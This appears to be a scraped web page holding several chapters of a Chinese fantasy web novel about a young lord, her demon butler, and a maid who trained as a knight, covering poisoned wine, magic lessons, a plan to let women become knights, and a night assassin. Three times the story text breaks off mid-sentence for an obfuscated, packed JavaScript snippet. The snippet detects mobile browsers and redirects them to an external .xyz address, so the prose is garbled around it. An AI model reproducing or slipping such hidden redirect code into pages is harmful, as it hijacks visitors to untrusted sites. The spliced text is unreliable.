“我不会死,您再清楚不过。我正是因为这个才和您签订契约。”西里斯说,“虽然,我确实不喜欢疼痛,也不会让自己无谓地受伤。 “如果您对于我的体质感受仍然不够直观,我不介意您现在往我身上捅几刀。我会让您看着那些伤口是怎么愈合的。或许那样您会更容易相信,我不需要被那么小心翼翼地使用。” 艾玛抬了抬眼:“我在你心里是会做这种事的人吗?” 西里斯很淡地笑了笑:“我倒宁愿您是。” 艾玛有一点困惑:“你说过自己没有受虐癖?” “您对向您索求性命的恶魔如此温柔,我都有点感到愧疚了。如果魔鬼真有良心这东西的话。”西里斯转移了话题,拎起桌面那杯被他从宴会厅里带出来的酒,“这个,我检查过了,像您察觉的一样,有人往里面加了药。 “但和刚刚那位刺客刀上的毒药相比,这酒里的毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004160|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性微弱得叫人感动。最多让您生场病,发阵烧,一段时间卧床不起罢了。警告的性质。两拨人都赶着在同一场宴会上迫不及待地给您下套,真是热闹的贵族娱乐啊。” 艾玛嗯了一声,不出她的意料。 在波克奈利,孩子从十二岁就可以开始饮酒,只不过父母们仍然不会让还年幼的孩子喝太多。 艾玛没有成年,但在这种正式场合,作为主人应该喝上一些。酒的度数不太高,她只拿了一杯。 中场她和其他客人跳了舞,把酒杯托给旁边的女宾看管,回来时就发现了内容的异常。 但看管的那个女孩是无辜的,甚至没有发觉异样。艾玛和她交谈几句,试图问出点线索,但没得到什么有效信息,就作罢了。 她知道,只要把这杯酒交给西里斯,他会有办法查出来。 后面的时间,艾玛就只是拿着那杯酒没再喝,抽空看了一圈会场,和角落的西里斯对了个眼神,晃晃杯子暗示。 西里斯接收到了她的信息,也因此把注意力从艾玛身上移开了一段时间,观察宾客的异常,就在这时候又碰到了刺客。 趁着退场的时候,西里斯就顺手带走了那杯酒。 贵族中有流传着这样的消息:费拉约尔斯那位小领主的管家是个厉害的巫师。 但从没有人想到过,这位领主本身作为魔法师的才能会更加出色。 他们仍然以为艾玛受失忆所困,至多只能使用点不痛不痒的小法术。没有人知道她已经有了能避开毒药,甚至初步分辨谎言的直觉。 今晚的事流传出去,他们只会更加戒备那位传言里手段不凡的管家。在西里斯的掩盖下,他们很难察觉到艾玛身上的异常。 “你做得太明显了,这样他们都确凿地知道你真的是个……‘巫师’。” 艾玛顿了顿。 “坐实他们的猜测而已。知道了我是个不好对付的巫师,他们的注意力会更多地放在我身上,想对您动手也得再掂量掂量。 “毕竟,巫师的手段谁都说不清,越惜命的人越怕这种不明不白的东西。他们大可以再试几次,然后就会明白,即使同为‘巫师’,他们养的那些狗,也远远不可能跟我相比。” 西里斯在这方面上的口吻总是确信甚至傲慢,绝对得像他肯定自己无法被杀死一样。 艾玛说:“好吧……那看来,想在我这里打你主意的人,还会越来越多。” 西里斯挑眉:“刚刚又有人问您了?” “你离开之后,就有人旁敲侧击地顺着气氛问了相关话题。”艾玛无奈,“近来我开始接手工作,你也在物色其他能负责城堡各项事务管理的人才,他们觉得……我翅膀硬了,想开始疏远架空你。” “阴谋论真有意思啊。”西里斯说,“我只是想偷个懒,在想象力丰富的人眼里,就有这么深远的意义。” “他们应该很难理解你的想法。”艾玛说,“我有时候也不太明白。” 西里斯点头:“很好解释……您只要想象一下,连着打过几百年工之后,任谁都不会想继续工作的。” 艾玛真的想象了一下,眼神里溢出了同情,有点沉重:“恶魔也不好当啊。” “是啊,不好当呢……”西里斯幽幽道。 “那你今天要不就,休息吧?”艾玛说,“剩下的我会处理。” “有一位主动给我放假的上司真是让人感动。为这份体贴,我还是再努力工作一下吧。”西里斯说,“等会儿还要再回会场 ‘展示’一下,您和我都安然无恙。这对于那些还在动心思的阴谋家来说,也是震慑。” “好。我还要去换身礼服,你也……” 西里斯牵过她的手,手指按着艾玛的手腕,下滑,直到牵住艾玛的手指前端,指尖朝向他。 西里斯低下头,吻了吻她的指尖。 “‘替身的法术’。”西里斯说,“谨慎是没错的。” “嗯。”艾玛垂下眼,看着自己的手指,“我会……尽量不让自己受伤的。” 30.试问 “好!我还是没学会!” 凯举起手,精神饱满地大声宣告。 西里斯面无表情:“没学会你得意什么?” “不是得意,这是不气馁,精神好的表现。”凯拍拍自己胸口,似乎想通过这响声来证明自己有一颗健康而强大的心脏。 “你还不如气馁点,我看着累。” 凯捏起手指比划了一下:“其实还是有那——么点,一点点挫败的。可能我在魔法上确实不太有天分吧……我们家都是普通人,没一个会魔法的。” 西里斯淡淡道:“魔法的天分受血统影响有限。你有才能,那就应该做得到,没学会也别推脱给天分。” “但是魔法也太抽象了……真困难啊。”凯挠挠头,“我听到过一些传闻,您别不高兴。他们说您是……‘巫师’。” 西里斯嗯了一声:“所以呢?” 凯抬起头,非常认真地看着他说:“巫师不是邪门歪道吗?邪门歪道一定有学习魔法的捷径吧!比如故事里那种喝下去就茅塞顿开能够呼风唤雨的魔药!您有的话能不能给我试试?” 西里斯说:“没有,滚。” 凯叹了口气,双手枕在后脑上,往身后的墙面一靠,露出了些许忧愁。走廊上没有人,他就坐在走廊的墙根边上,面前的窗户对着花园一角。 此刻是傍晚,橙红色的日光正从窗户落进来。西里斯抱着臂靠在一边。 用谎话糊弄凯的法子只能糊弄一时,他又是一旦热情起来就会对人死缠烂打的性子。 嘉兰说,从前家附近有个师傅做糖人,凯特别喜欢,跟师傅非亲非故也整天跑去端茶送水套近乎,他又嘴甜,真把师傅哄住了,愣是让他学会了全套的手艺。 西里斯不需要凯端茶送水,他也不是别人说几句好话就心软的性子。他只觉得烦。 最终在凯殷勤热情崇拜的目光里,西里斯感到最好的解决方式是让问题回到原点,答应下他的求学邀请。 但是,首先,别叫他“师父”,“老师”更不行。 西里斯首先仍然是要求他冥想,冥想作为魔法感知练习确有好处,这不是骗人。 西里斯对凯的冥想方式进行了指导和纠正,但仍然没能阻止凯冥想到一半,就陷入了甜美的睡眠。 西里斯心平气和地扔下他该干嘛干嘛去了,留下嘉兰总能在各种意外时机捡到正处于很好的睡眠质量之中的凯。 凯痛定思痛,发誓自己一定要提高注意力集中。最后下次还是睡着了。 除了冥想之外,西里斯给他布置了一堆书,要求凯看完,写读后感交给他。 被骗过一次的凯在看了十五本从文学到历史,从政治到地理,从诗歌到戏剧的优秀著作之后,谨慎而疑虑地询问,西里斯是不是又在唬他——当然,凯用的是很委婉的说法。 西里斯说魔法入门看的就是一个感觉和缘分,不是背个药方写个公式就能用的东西。多看各种类型的书,增长见识,拓展思考深度,这些精神方面的修养在契机到来的时候会为你提供帮助。 具体什么时候开悟,甚至能不能抓到那种抽象的感觉,都看个人造化。 凯懵懵懂懂,但觉得好像很有道理,老老实实地努力看书了。 嘉兰认识几个魔法师,跟一位受雇于多蒙先生的魔法师有点交情,也向他询问过有关魔法学习的问题。 对方的回答是“魔法更像一种与生俱来的感觉”,他甚至认为是无法通过学习和教育掌握这种能力的。 但不管西里斯到底是不是只是在敷衍凯,冥想是好事,看书也是,嘉兰没有阻止他的理由。 “您之前问我有什么理想。”凯说,“呃,我回去想过了。我确实……没什么想法。现在这样就挺好的。我没有特别喜欢会计这份工作,但也没有其他特别想干的工作。人大多都只是找个工作过日子不是? “能够找到环境、同事都喜欢的职场,就已经比大多数人幸运了。我觉得自己就是个普通人……啊,其实不该跟老师说这话,不过,我想学魔法主要是因为,就,好奇,好玩嘛!感觉很厉害。 “就算没学会,稍微有点挫败,但是学习的过程就像在探险和寻宝一样,我还是挺开心的。” “心态是你最大的可取之处了。”西里斯道。 凯听了,露出被夸奖后得意里带着不好意思的表情。 西里斯靠在墙上,看着窗外,风拂过草地,带来平静的沙沙声。 “如果一生平安顺遂,当然是最好的好事。魔法可以是你人生里可有可无的点缀。如果它是绝境里唯一能寄托的希望,那反而是最大的不幸。” 凯咂舌:“家里的老人迷信比较厉害,我不太敢谈未来万一怎么样的话。不过,我觉得现在挺和平的,没有打仗,费城这几年的经济发展很好。 “而且,我虽然没学出什么名堂,但嘉兰越来越厉害了。再不行,就托她罩着我呗。” “你们关系倒是真好。” “嗐,毕竟住得近,从小就待在一块儿,像一家人一样嘛。” 西里斯看了他一眼:“嘉兰说,你就像她弟弟一样。” “哈?不是,我可比她大两个月啊?”凯瞪大眼,“我勉为其难给她当哥还差不多!” “她说的。你可以去跟她争。” 凯站了起来,刚刚的震惊慢慢褪下去,他冷静地思考了几秒,又坐下了:“算了……弟弟就弟弟吧,在辈分上让让她也是年长两个月的气度……” “怕她揍你就直说。” 凯挺起胸膛,正色道:“您小看我了!我从小被她揍得还少吗!怎么会为这种事——” 西里斯似笑非笑道:“你是喜欢嘉兰吗?” “啊?什么,等一下?” “小男孩总喜欢招惹自己喜欢的女生,我能理解。” 凯憋了半天,快跳起来了:“我靠!不是,您别误会啊!!真没有!!我就当她是朋友啊!不是,就算我们像家人也是那种她当我姐我当她哥……好吧反正就不是那种关系!我我我对她没那意思您别多想啊真别多想!!” 西里斯说:“这么慌张,心虚了?” “不是慌是怕的我靠您别这样,就算是开玩笑我敢认嘉兰也得抽我啊!不是,我不敢认,我真没那意思。”凯摸着自己的心口平复心跳,“我们那是从小打打闹闹习惯了,嘉兰其实以前对谁都这样。她就是那性子,可有暴力狂的潜质了。骑士训练是真适合她,看她比以前收敛多了……” 走廊突然安静下来。 凯停了会儿,叹口气嘀咕:“哎……其实我也不觉得这一定是好事。就,她那种性子。 “嘉兰本来……就是更冲动、易怒,不怕跟人吵架,更不怕跟人打架,比起跟人讲理更喜欢抡拳头的类型。小时候跟人打完架回来,她受伤了还得意洋洋呢。就,那种……更生气勃勃的样子。” “但是现在……虽然,我也知道,大家都是要长大的嘛。她比以前成熟多了。可是……太懂事,太沉默,太明白规矩,跟人讲道理……就不像她了。 “我不觉得嘉兰本来就应该是这样的,她不应该……过得这么委屈。”凯的声音低下来,尾音模糊了。 他吸口气,又抓抓自己的头:“我觉得像以前那样惹她蛮好的……呃,她就是容易对我生气!但我总觉得,那种时候,她挺放松的,就像以前一样……这样也好。” “说起态度,嘉兰对您的态度也挺罕见的。”凯抬头道,“她在敬语上很刻板,但对您都是直接叫名字,语气也……挺不好的。她,哎……该说是人别扭?这反而是她没把您当外人的表现呢。” “也没准是真烦我。”西里斯笑笑。 “不,那肯定不一样啦。她对讨厌的人可不是这种反应。”凯有意无意道,“说来,嘉兰最近好像稍微有点在意打扮了。她是实用主义,以前都不在乎的,但是最近换了耳环……您有注意到吗?” “我没关注。”西里斯说,“我没有你和她那么熟悉,不会在意这种细节。” “您别损我了……”凯摸摸鼻子,“她还是,挺漂亮的……会打扮的话,肯定更好看。” “我知道。” 西里斯看向凯:“倒是你,其实心思比看起来要多得多。” 凯缩缩肩膀,吐舌头道:“当您在夸我咯!” “纯粹的人在魔法上有优势。而你想的、在乎的东西都太多,学习魔法肯定不会顺利。”西里斯将目光投向窗外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008954|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“算了,随你吧。” 凯摸摸自己后颈,心里叹了口气。 西里斯考虑问题仔细、全面又谨慎,虽然不那么明显,但凯感觉到,这部分特质大概也出于他是个悲观主义者。一个聪明又成熟的悲观主义者是很难被打动的。 凯尽量让自己说得很自然了,但还是说半句就被西里斯猜到了意思。真是人精中的人精啊。凯在心里继续叹气。 嘉兰要是喜欢这种人,完全能够理解,可是真的很难诶……话说回来,嘉兰那种个性,她真的意识到自己喜欢别人了吗? 算了,不多事了。 凯默默想,还是祝她好运吧。 民间俗语有说法,当人被念叨时会感觉身体发冷,或者打喷嚏。 在嘉兰正作为别人的话题的时候,她正在给艾玛上课,换了便于运动的服装。剑术动作等要领艾玛都已经学会了,现在是她自己练习的时候更多。 嘉兰不喜欢只在旁边站着,经常会趁这个时机锻炼锻炼,此时已经出了一身汗,感觉非常清爽。 晚风吹过,她身体还在运动后的余热里,但已经及时披上外套,做好了保暖。嘉兰的身体管理一直很到位。 总之,她没有感到发冷,也没有打喷嚏。 艾玛练完得反而比她更早一点,坐在一边披上衣服喝水。 剑术练习对艾玛来说主要是为了锻炼体力,艾玛和嘉兰都没有对她能练到什么地步抱有过高要求或指望。嘉兰对自己的要求虽然严格,但对艾玛的要求很宽松,因此她们的课程氛围也一直比较轻快。 艾玛在骑射上已经有了合格水准,现在射箭能稳定挨上靶子了,虽然仍旧精度有失。 她在嘉兰不在的时候自己悄悄试了试,发现能够用魔法修正箭矢的轨迹。 她甚至可以将“目标”定在靶心,被设定了目标的箭矢,只要射出,就必定会准确命中。 不过目前还有距离的限制,设置的靶子太远时不一定能成功。 艾玛渐渐能感受到,就像西里斯曾经形容的,“魔法是她的延伸”。 比如她坐在床上,伸手够不到书桌上的杯子,但当她产生这个意愿,想要够到杯子时,周围空间里静止或流动的什么东西仿佛和她产生了连接,成为了她的手臂,帮她完成她的“愿望”。 她现在会用这些能力偷点小懒,做些花哨的游戏练习。 作用范围还很小,能做到的事情有限,但那感觉是一种从无到有的突破性开端。 就像是增加了一双从另外角度看待世界的眼睛,从另一个层面体验世界的全新感官。 艾玛对此感到新奇而有趣。 嘉兰走过来的时候,艾玛把水壶递给她,嘉兰道了声谢,在她身边坐下了,拧开壶盖。 她们就着练习的进步、感想和困扰平常地聊了几句。 在晚风的吹拂里,嘉兰的燥热退掉了一半。 话题很放松,氛围也很放松,她稍微有点神游,开始想到工作上的待办事项。 “我最近在学习法律,看了很多法条,包括其他的国家的法典。”艾玛说。 嘉兰应着:“那些东西不太好背。” “比起不好背,更难想象的是有些法令非常‘不合情理’,让人不能理解。” “是有很多这样的情况。我以前学过,得结合着时代环境、历史背景等因素来看。” 艾玛点头:“即使同样在波克奈利国境内,费拉约尔斯的律法也和相邻城市在一些条目上有区别。随着实际情况变化,很多以前适用的法令也不再适用了。 “每年各地政府都要开会、讨论、修改法典。今年费城的律法修订会议也近了,在揽花节之前。我会去参加。” 艾玛公开活动的时间还不长,第一次参加这种会议,嘉兰以为她有些紧张:“想要实际掌握法律的话,要学的东西太多,一时半会儿很难真正摸透,感到吃力很正常。你不用担心,他们不敢太为难你。” “嗯。”艾玛看着自己放在膝盖上的手指,停顿了几秒,“我是想说,法律是可以改变的。” 艾玛抬起目光,看着她的眼睛: “所以,嘉兰,你希望成为被法律认可的、真正的骑士吗?” 31.礼物 嘉兰在风声里愣了会儿神。 艾玛的眼睛是平静的,一如既往。 嘉兰有时候会想,她和西里斯是一起出现在这座城市的。 西里斯更引人注目,强大而神秘,但这个年幼又安静的孩子也从来不是透明的。 就像此刻嘉兰看着她的眼睛,仍然猜不到她的想法。 人对无法掌握的未知事物往往感到畏惧和排斥。嘉兰知道艾玛身上有很多刻意隐瞒的秘密,她本该为此介怀。 但意外的,那种直觉性的好意压过了本该有的怀疑。 她本能地信任这个自己明知尚不了解的孩子,甚至为这莫名其妙的好感而感到放松。 嘉兰在她的问题面前短暂地紧绷了一瞬间,又放松下来。 她想了一会儿:“想要成为骑士,十四岁前就要进入骑兵营训练,十八岁前要通过各项考核,二十岁前完成骑士长布置的最终试炼。考核失败的,仍然可以成为士兵;而只有达到这每一项标准,才能成为骑士。 “在这之上,立下过足够的功绩,才会被王室记名,被授封。我今年二十岁了。这其中任何一项,我都没有做到过。” “这里过去的律法没有给过你机会,但律法可以修改。”艾玛说,“我查过典籍,在波克奈利的历史上,有两位被破格授封过的女骑士。” “我并没有那样的伟大,能和传说骑士相比。”嘉兰的口吻比她自己想象得还要平静,“我愤懑过、埋怨过,为自己的遭遇感到不公平。但时间越久,我越清晰,我不是为了和谁较劲才拿着剑的。 “我向往的‘骑士’是一种象征,不是一个头衔,一纸荣耀加身……我曾经很想得到这个称谓,可当我越接近我理想里那个‘骑士’的概念,到今天,我发现……我已经不在乎这份别人授予的评价了。” 嘉兰笑了笑:“生活总是如此,不是吗?在你渴望什么的时候总是得不到,机会真正来临的时候,却已经不需要了……这只是个感慨。我仍然很感谢你这么问我,艾玛。” “这个国家有很多女裁缝、女厨师、女商人,各行各业都有女性的身影,虽然因为性别所影响的天然差异,每个行业中女性从业者的比例不同,也有刻板印象带来的偏见,但很少有像‘骑士’这份职业这样……明文禁止女性从事的行业。” 艾玛看着她的眼睛:“我不理解。我很困惑。因为,我明明能看到这样的你。” “规则是为大多人设立的,我是那之外的少数。”嘉兰说。 “这不合理。” 嘉兰想了想:“虽然你问我的意见……艾玛,你是想为我破例,还是从根本上修改有关骑士的法令?” 艾玛顿一顿,陈述道:“领主拥有修改当地法律的特权,只要这项法律不触及王室的权威和利益,即使所有领民反对,领主仍然可以强行要求他们遵守。很专制的规则。” “是的。布雷德尔·道恩先生在的时候,借这权力强硬地推行了很多全新的政策,即使遭到不少反对,其中许多在落实后却越来越显出了它们的成效。戴斯也滥用过这份权力,像是图个好玩一样,把税率调得乱七八糟。即使有再多人劝阻,还是一意孤行。 “这是能为改革者更便捷地消掉阻力的权力,也会让愚蠢自大的人加速自己的灭亡。”嘉兰说,“我不觉得太绝对的权力是好事,即使它很便利,如果依赖这份快捷,聪明人也会盲目。” “所以,我想谨慎地使用它。”艾玛说,“我确信你完全有成为一位骑士的资格,嘉兰,我有能力把这个头衔当作送给你的礼物。但我不确定你是否需要它。” 嘉兰安静了一会儿,微微笑了:“真意外。如果抱有这种想法的领主是‘其他人’,我猜,他不会事前向我透露任何口风,更谈不上商量,直接把它作为‘惊喜’强加在我身上,而我也知道他出于好意。 “是啊……同情我的‘领主’,大概会这么做的。” “我没有切身体会过你的经历,不能真正明白你的心情。只是,我想,‘骑士’这个身份,对你来说不一定是件单纯的好事。 “这不是你得到后,不喜欢就可以随便丢弃的礼物,也不是我轻易能够给出的礼物。如果送礼的人耗费精力,收到的人反而为这不需要的礼物感到负担,对我们都太吃力不讨好了。” 艾玛说:“所以我宁愿它不是‘惊喜’。我不是作为‘领主’想要施与什么恩惠,我当面来问你,是因为,我当你是‘朋友’。” 嘉兰笑起来,好一会儿才安静:“我不记得……有没有跟你提过我的父亲。我不喜欢讲到他。 “他是个不称职的丈夫,不合格的父亲,不明不白死在政治斗争里的……愚忠的骑士。他活着的时候是我生活里缺位的影子,死后他的姓名却无时无刻不笼罩在我身上。 “人们说我得到的姓氏来自他的荣耀,我的才能来自他的遗传,仿佛我如今一切成就建立在他所给予的基础之上。 “我痛恨这种联系。” 笑容从她脸上慢慢淡去了,嘉兰好像看着很远的地方: “我很多时候不愿意想起,也不愿意承认。我最早对‘骑士’的向往,确确实实来自那个活在别人话语里的、很少能见到的父亲。 “大人们说他是个了不起的骑士,我就去看骑士的故事,听骑士的事迹,仿佛每个骑士故事的主角都是他。我以为了解骑士就能了解他,成为骑士就能靠近他。 “但有一天我看见别人的父亲在街头和他的孩子争吵……那种用来说服我自己的幻想被打碎了。” “其实现在我反而稍微能够理解,他只是个放弃了家庭、选择追求理想的普通人罢了。 “如果我是个路人,或许我也会赞美他。但我是他的孩子,我最多只能做到不憎恨他。” 嘉兰想了想:“我现在确实不恨他了……听母亲提起他们以前的事情的时候,心情也很平静。我仍然尊重他是我父亲的事实,但在我看来,他把事业和家庭都处理得一团糟,这可做不了我的榜样。 “小时候看的那些骑士故事却真的长久影响了我。故事里的骑士无限理想,概念的化身大概就是那种理想的形象吧。因为永远无法抵达,所以永远可以追求。” “所以,就是说……”嘉兰摸了摸自己的后颈,有点犹豫,“我也不能完全果断地说,我不想要这个骑士的头衔有没有跟我父亲斗气的成分在。但是,现在成为骑士,对我来说确实是麻烦和不愉快比较多。” 嘉兰停顿一下:“这话本来不该对你说……我没有打算一直当‘城堡里的女仆长’。 “代理城主,或者其他什么职位,我都能胜任。我能做到更多,我能帮助你,只要你需要。 “骑士的身份同时意味着某些必须承担的义务。对于我现在更热衷的事业来说,加一个这样的身份不便于我活动,坏处会更大。 “虽然我无法接受你的好意……但我很高兴,你这么问我,因为你真的尊重我。我感谢这一点,也很高兴你把我当作朋友。” 艾玛似乎没有完全释然。 她握着自己的双手,好像还在想什么。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018148|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >嘉兰看出她的犹豫:“你还有什么疑虑吗,艾玛?” 艾玛迟疑片刻,说:“我明白你的考虑了,我尊重你的看法。但是,有关骑士的法律……我还是认为,它应该被修改。 “虽然现在的你已经不需要这份认可,但或许,会有其他想要成为骑士的女孩仍然需要它。” “这是好事。只是长久积累的偏见很难在短时间内被改变,即使你能修改法律,也要做好受挫的准备。”嘉兰说。 “我知道,我有准备。”艾玛点头,“但我也有点担心……修改后的法律是否真的对那些女孩有益。我不认识那么多想成为骑士的女孩,所以我也不确定,这修改后的结果会为她们带来什么。 “想当然地为了某个人、或者某些人而做出自以为善意的举动,不一定是好事,尤其我对社会情况和法律的了解都还很幼稚……而且,这样的法律推出之后,嘉兰你身边的朋友肯定也会跟你反复念叨有关的事吧,或许对你来说也很困扰。” 嘉兰认真地思索一下:“我很希望那些像曾经的我一样,但没有我幸运的女孩能得到更多机会。任何规则都有它的利与弊,对一些人有好处,也必然触及另一部分人的利益。 “从我的角度看来,只要能开这个头,做出尝试,我认为它对那些女孩来说,就是利大于弊。至于我这边,请不用担心,我既然有考虑,就有相应的决心,一点议论无关紧要。” 艾玛点头:“嘉兰都这么说,我就放心了。我会努力试试看。” “如果有什么帮得上忙的地方,请尽管来找我,我会尽全力提供帮助。”嘉兰保证完,稍一停顿,“不过……如果我刚才给了否定的意见,您在这事上还有几分决心呢?” 艾玛没有犹豫地坦然道:“我会放弃吧。” 她果断得让嘉兰惊讶。 “因为,像刚才说的,我不认识更多想成为骑士的女孩,不知道她们的真实想法。如果连有实际经历体会的你都否认,那么,这大概只是个我‘自以为善意’的提案。” “我也不一定是正确的。”嘉兰说,“是人总有很多私心和个人情绪。” “但如果你否认,起码说明这件事会让你不愉快。”艾玛说,“如果你不开心,就违背了我的本意。比起盲目地为不认识的人好,我更在意自己朋友的心情。” “真是……”嘉兰愣了愣,“让人很担心您要是交友不善会怎么样……” “我会慎重地选择自己的朋友。”艾玛认真地说,“我认为你值得交往和尊重。” 嘉兰移开了目光:“我还以为,您对骑士不是那么有兴趣,剑术练习也是我提出作为锻炼的。虽然只在费城内推行的法律还不会让王室追究,但其他阻力一定不会小。想要克服这些,除了清晰的目标,还需要更多动机支撑。” “你是想问……出发点和动力?”艾玛想一下,说, “比如,嘉兰挥剑的样子真的很帅,像我想象的故事里的骑士一样。不能让别人承认,稍微有点不甘心。” 嘉兰不说话了,转过了头。 艾玛有点困惑地从旁打量,还在想自己难道说错话了,就看到嘉兰耳根漫起的很少见的绯色。 啊。艾玛后知后觉地反应过来,嘉兰不好意思了。 她也不吱声了,乖乖待在一边看自己的水壶,直到过了一会儿,艾玛听见水壶说话了。 她迟了半拍才反应过来,那是嘉兰的声音。 嘉兰仍然背着她,声音在风声里稍微有点不自在: “谢谢你……艾玛。” 32.天赋 夜风的影子掠过枝头,悄无声息地落上城堡的窗框。值夜的女佣已经锁上了窗。 窗沿的影子掏出一块石头,按在窗锁附近,随着石头发出的微光,窗锁内部的齿轮缓慢地转动,发出轻微的一声咔嗒。 来人小心翼翼地开窗,跳进走廊,显然经过训练,落地的声音稳定有素地隐没在地毯里。 为了使这场入侵不那么迅速地被发现,他正准备将窗户再关上,却突然感到从颈侧传来的寒意,听到锐利的破空声。 本能让他迅速地躲开了第一击,他被迫从窗边离开,看清了袭击他的人的身影。 那人穿着不利于战斗的黑白长裙,是个手持长剑的女佣。 他没能完全拔出长刀,只来得及用刀鞘硬挡了她几击。 与少女的外表不同,女佣的劈击又快又狠,力道大得他手掌发麻。 他被逼得步步后退,直到那有节奏的劈砍出现了一瞬的空隙。 入侵者心头一喜,以为那女佣体力跟不上,趁着这个停顿拔出刀来准备反击,却发现面前已经没有了少女的身影。 而在他发现这事实的那一刻,剑尖从身后刺穿了他的心脏。 刺客最后的哀鸣被划断的声带滞留在破裂的胸口里,流出的血液在地毯上扩散开一片暗红。 嘉兰抽出补了几次伤害的剑,血沾在一半的剑身上,正顺着重力正向下淌。 她回过头,向着走廊的暗处:“喂,出来。” 黑暗里传来一声叹气。 走廊边的壁灯嚓地单独亮起了一盏,西里斯从阴影处走进灯光,看着刺客说:“地毯。” “我已经尽量不让血溅在墙上了。”嘉兰说。 “你就没有多等几秒的耐心?”西里斯揉了揉眉心。 “他都踏进城堡了,你还要等多久?” “他刚才离我太远,那个距离,我没办法用魔法测出他的来历。” 西里斯走到刺客的尸体边上,向嘉兰递了块手帕,蹲下身观察:“擦擦你的剑。” 在用法术对刺客的来历进行分析的同时,西里斯也随意地浏览了一下他身上的剑伤,切口又深又利落。 嘉兰的剑术是在骑兵营里学习的,根据骑士们的经验和她自己的喜好摸索而成,几乎完全抛却了美观,简洁、直接、凌厉而狠辣,甚至可以说野蛮,但在实战中确实有效。 艾玛跟他提到过,觉得嘉兰的剑术动作很简洁好记,但要连贯起来,她怎么也没法做到像嘉兰那样的速度和威力。 嘉兰认为这不仅仅是体质和锻炼量的差距,更因为艾玛那有些过于温柔的性格,使得她在挥剑时少了足够的决心。 西里斯想,大概不单纯是性格的问题。 “这样就能看出他的来历?”嘉兰没有魔法的天赋,甚至看不见法术发动的光亮,有点好奇这玄乎的技巧,“怎么做到的?” “很抽象,不好解释。看结果就行了。” 西里斯站起身,刺客的尸体消失了,留下染着一大片血迹的空地毯:“我把他还给他的雇主了,做个警告。” “他用魔法石打开了窗户,我看到了。你没把魔法石留下,反而一块送回去了?” “那种石头对我没有作用。”西里斯对嘉兰道,“这地毯你收拾吧。” 嘉兰挑挑眉:“你的魔法那么无所不能,就不愿意动动手指把地毯也弄干净?” “做不到。”西里斯没有表情地陈述, “我能够复原一定时间内由我自己造成的影响,别人造成的影响不受我控制。而且,在魔法中,‘血液’是个很特殊的要素,不能轻易变动。” 嘉兰有点诧异:“巫师也有那么多规矩?” “当然。魔法哪里真是那么便利的东西?” 嘉兰看了看地毯,撇嘴道:“要不烧了吧,换块新的。” 西里斯打了个响指,地毯消失了,嘉兰看到了一瞬间的火光。 她说:“这不是挺方便的?” “地毯明天再换,你去仓库找合适的。今天别折腾了,看看现在几点了?回去睡觉,别仗着自己体质好一个劲地挥霍。” 西里斯走向走廊另一头,旁边的壁灯随着他的走动灭掉了,下一盏壁灯接着亮起。 嘉兰看着他身边的灯光,愣神了片刻,哼一声跟上他:“还真是长辈教训人的口吻。那么,作为榜样,你怎么这个点还醒着呢?不对,我就没见你睡过觉。” “我休息的时候不会让你看见。”西里斯说,“我说过,如果有什么意外状况,警报会提醒我。我在的时候,还用不着为这种事劳动你。” 在艾玛刚来城堡那两年,城堡不怎么接待访客,晚上也不举办宴会,所以夜间的巡逻松散,勉强可以解释为整个城堡都处于低功率运转的恢复期。 但自从领主的社交频率逐渐正常,夜间的巡逻安排不免要提高频次。 但西里斯为了用法术处理类似这样的刺客方便,反而不想被佣人撞见,有意减少了巡逻的班次,并且增多了撞见也无所谓的嘉兰和迪尔的排班。 西里斯跟他们说,班是排了,你们不上也没事。 迪尔从善如流,照单全收,如果没有提前说明,就每次巡逻都猫回去睡觉了。 嘉兰却时不时仍然在排班时间真的巡逻两圈,像今晚这样撞见刺客还是第一次,下手速度快得像怕被西里斯抢了似的。 嘉兰已经把剑收回了鞘里。西里斯不奇怪她带着长剑。 嘉兰平时就腰里挂着匕首,腿上绑着小刀,鞋跟还藏着刀片,从头武装到尾。 她的疑心到底多重姑且不论,嘉兰绝不会让自己处于缺乏武器的境地这件事,西里斯是很相信的。 晚上既然是出来巡逻,更有名目借口,带上剑就算碰不到什么意外,也可以练练手。 剑毕竟是嘉兰最趁手的兵器,能带给她的安心感完全不同。 “也不是多稀奇的事。”嘉兰谈论的语气很平常,“道恩先生还是领主的时候,我也在晚上巡逻,碰见过刺客。 “骑兵营的训练不避讳死亡的话题,还会特意从沙漠捕捉来凶猛的野兽练手。我见过血,我杀过人。” “对你所处的环境来说,能够早点丢弃天真是好事。”西里斯冷淡地评价,“‘和平时代’……勉强维系着表面的文明,背地里的手段却仍然暴力又原始。因为有魔法的存在,甚至加倍无序混乱。” 嘉兰看了他一眼:“有时候我觉得你不喜欢魔法。巫师应该比常人更向往魔法的神奇和万能,你却总是看着它的负面。” 